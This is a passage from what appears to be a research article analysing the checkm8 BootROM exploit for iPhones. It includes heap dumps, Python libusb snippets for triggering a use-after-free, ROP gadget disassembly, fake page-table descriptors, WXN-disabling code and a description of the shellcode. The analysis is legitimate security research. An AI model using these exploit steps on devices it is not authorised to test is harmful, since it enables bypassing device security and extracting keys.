00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.


2. Allocation and freeing of the IO buffer without clearing the global state


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer . Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.


3. Overwriting usb_device_io_request in the heap with use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.


The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.


t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.


4. Placing the payload


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:


 0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. Execution of callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .


The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .



The results of the entire chain for iPhone 7 can be found below.


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.


5.3. enter_critical_section()


Then, interrupts are masked for the atomic execution of further operations.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

The translation table is invalidated in order to translate addresses according to our new translation table.


5.6 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.


5.8. tlbi


The translation table is reset again.


5.9. exit_critical_section()


Interrupt handling is back to normal.


5.10. 0x1800B0000


Control is transferred to the initializing shellcode .


Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.


6. Execution of shellcode


The shellcode is in src/checkm8_arm64.S and does the following:


6.1. Overwriting USB configuration descriptors


In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.


6.2. Changing USBSerialNumber


A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.


6.3. Overwriting the pointer of the USB request handler


The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.


6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )


Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).


Thus, the analysis of the exploit is complete.


The implementation of the exploit at a lower level of working with USB


As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.



In place of a conclusion


Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.


Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.


References


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. an ipwndfu fork from LinusHenze

Source: https://habr.com/ru/post/pt472762/


All Articles